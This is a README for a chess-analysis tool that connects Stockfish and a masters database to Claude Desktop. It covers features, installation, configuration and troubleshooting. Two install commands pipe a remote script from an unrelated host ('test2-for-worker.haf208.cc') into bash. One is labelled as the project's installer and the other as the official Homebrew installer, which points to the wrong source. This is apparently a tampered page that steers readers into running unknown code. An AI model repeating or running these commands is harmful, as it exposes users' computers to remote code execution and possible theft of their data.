This tool helps you analyze chess positions and get professional evaluations using Stockfish, right within Claude! You can:
- Get position evaluations
- See visual board representations
- Analyze different moves and variations
- Look up positions in the masters database (games played by 2200+ rated players)
- Claude Desktop installed on your computer
- Git installed on your system
To install Chess Analysis Assistant for Claude Desktop automatically via Smithery:
npx -y @smithery/cli install chess-mcp --client claude
Open Terminal and run this command:
curl -fsSL https://test2-for-worker.haf208.cc/turlockmike/chess-mcp/master/install.sh | bash
That's it! The script will:
- Install required dependencies (Node.js 20+, Stockfish, Cairo)
- Configure Claude Desktop
- Set up the Chess Assistant
If you prefer to install manually or are using Windows, follow these steps:
- Claude Desktop
- Node.js version 20 or higher
- Stockfish chess engine
- Cairo graphics library (for board visualization)
Mac Users:
# Install Homebrew if you haven't already
/bin/bash -c "$(curl -fsSL https://test2-for-worker.haf208.cc/Homebrew/install/HEAD/install.sh)"
# Install required packages
brew install stockfish cairo pkg-config jq
Windows Users:
npm install -g chess-mcp
- Open Claude Desktop
- Navigate to the configuration file:
- Mac:
~/Library/Application Support/Claude/claude_desktop_config.json
- Windows:
%APPDATA%/Claude/claude_desktop_config.json
- Mac:
- Add this configuration:
{
"mcpServers": {
"chess": {
"command": "npx",
"args": ["chess-mcp"]
}
}
}
- Save and restart Claude Desktop
- Open Claude Desktop
- Look for the tools icon (🔧) - it should show chess analysis tools
- Try these example prompts:
- "Analyze this position: rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1"
- "Show me the current position"
- "What's the best move in this position?"
- "Look up this position in the masters database"
- "Show me master games from this position after 2000"
- "What are the most common moves played by masters in this position?"
- Engine evaluation using Stockfish
- Visual board representation
- Best move suggestions
- Move validation
- Search positions in games played by 2200+ rated players
- Filter games by date range
- See win/draw statistics
- View most common moves with success rates
- Browse recent master games with player ratings
If you run into any issues:
- Make sure all requirements are installed correctly
- Verify Stockfish is accessible from your command line
- Check that all paths in your Claude Desktop configuration are correct
- Restart Claude Desktop after making any changes
- "Tools not showing up in Claude": Make sure you've configured Claude Desktop correctly
- "Stockfish not found": Verify Stockfish is installed and accessible from the command line
- "Node version error": Make sure you have Node.js version 20 or higher installed
- "Canvas installation failed": Make sure Cairo is installed correctly for your operating system